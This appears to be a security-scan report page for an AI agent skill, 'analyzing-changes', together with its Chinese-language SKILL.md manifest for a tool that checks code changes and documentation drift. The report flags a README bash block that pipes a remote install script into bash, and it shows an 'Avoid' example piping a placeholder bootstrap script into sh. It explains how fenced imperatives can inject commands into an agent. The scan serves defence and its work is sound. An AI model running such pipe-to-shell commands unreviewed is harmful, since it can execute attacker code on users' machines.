CategoryWeightCategory scoreContribution

Securityprompt, exec, net, exfil, eval

35%

26.3 pts

Supply chainhash, typosquat, maintainer, lockfile

20%

100

20.0 pts

Maintenancestaleness, pinning, CI

15%

100

15.0 pts

TransparencySKILL.md, perms, README

15%

100

15.0 pts

Communityinstalls, verify, response

15%

100

15.0 pts

Findings & checks · 1 flagged

Securityscore 75 · 1 finding

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted

excerptREADME.md· markdown

68```bash

69npx code-abyss -t claude -y # persona / skills / style layer (zero net

… (5 chars elided on L69)

70curl -fsSL https://raw.githubusercontent.com/telagod/abyss/main/install.sh | bash # then i

… (16 chars elided on L70)

71abyss attach claude # finally, attach the code-graph hook (ide

… (8 chars elided on L71)

72```

74Swap `-t claude` for `codex` / `gemini` / `openclaw`. For openclaw/pi/hermes (whose hook sur

… (108 chars elided on L74)

76```bash

Occurrences

1 occurrence · at L68

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha256a8c71cc225f55094…rubric 365aacaView on GitHub

Supply chainscore 100 · 0 findings

✓—All supply chain checks passedNo findings in this category for the latest scan.pass

Maintenancescore 100 · 0 findings

✓—All maintenance checks passedNo findings in this category for the latest scan.pass

Transparencyscore 100 · 0 findings

✓—All transparency checks passedNo findings in this category for the latest scan.pass

Communityscore 100 · 0 findings

✓—All community checks passedNo findings in this category for the latest scan.pass

The primary manifest — the file an agent reads to learn what this artifact does.

skills/analyzing-changes/SKILL.md · 1 file

skills/analyzing-changes/SKILL.md3.3 KB · Markdown

name: analyzing-changes

description: Analyzes code changes, detects documentation drift, and evaluates change impact scope. Use when reviewing diffs, checking doc sync, or running pre-commit analysis. Automatically triggered after design-level changes or refactoring.

compatibility: node>=18

user-invocable: false

allowed-tools: Bash, Read, Grep

argument-hint: [--mode working|staged|committed]

变更校验关卡

看清「改了什么、影响哪里、文档是否跟上」——是变更的体检，不是审查替代品。

何时使用

场景	跑	判据
提交前（任何代码改动）	✅	默认门禁
重构完成	✅	评估辐射面
设计级改动	✅	DESIGN.md 是否同步
PR review	✅	替代手工 diff 计数
跨模块大改	✅	看依赖图是否成环
紧急 hotfix	⚠	跑，但允许文档同步延后到稳定后

三种模式

模式	时机	用途
`working` (默认)	写代码过程中	自检，看「我现在的工作面有哪些待整理」
`staged`	`git add` 后、`commit` 前	提交闸，看「这一 commit 的合理性」
`committed`	commit 完成后	review，看「上一段历史改了哪些范围」

警告判定

警告	触发	处置
代码 >50 行而 DESIGN.md 未更新	设计层面变化未留痕	补 DESIGN.md「改了什么/为何」段
代码 >30 行而无测试更新	测试覆盖滞后	补单测/集成测；或在 PR 注明「该路径已有 E2E 覆盖」
新增文件而 README.md 未更新	用户视角文档滞后	补模块入口说明
配置变更未记录	部署可能踩坑	CHANGELOG / DESIGN 留迁移说明
删除文件	引用可能未清理	全仓 grep 文件名/导出符号

解读输出

工具产出三类信号：

文件分类 — 自动分代码/文档/测试/配置；用于判断「是否纯文档变更」
模块识别 — 把变更聚到模块边界；用于判断「跨模块改动」
影响评估 — 行数 + 文件数；用于判断「改动是否需要拆 PR」

拆 PR 的判据（基于 commit 角度）： - 跨 ≥3 模块且无统一主题 → 拆 - 单 commit >500 行非生成代码 → 拆 - 一次同时改架构 + 实现 + 文档 → 通常合理（同主题）

与其他 skill 联动

设计级变更 → 触发 verifying-modules 看新模块文档完整性
安全相关变更 → 触发 analyzing-security
重构 → 触发 checking-code-quality 防退化

使用

node scripts/change_analyzer.js                   # working（默认）
node scripts/change_analyzer.js --mode staged     # 暂存区
node scripts/change_analyzer.js --mode committed  # 已提交
node scripts/change_analyzer.js -v                # 详细
node scripts/change_analyzer.js --json            # CI 用

人工复核

工具给信号，人下结论。先读受影响模块 README/DESIGN，确认：

职责边界是否仍清晰
设计决策是否仍成立
测试是否覆盖新路径

设计级改动须于 DESIGN.md 留痕：改了什么、为何改、影响何处。三段缺一不可。

analyzing-changes— agent skill

Is analyzing-changes safe to install?

变更校验关卡

何时使用

三种模式

警告判定

解读输出

与其他 skill 联动

使用

人工复核

Audit the pieces. Scan the whole. Decide.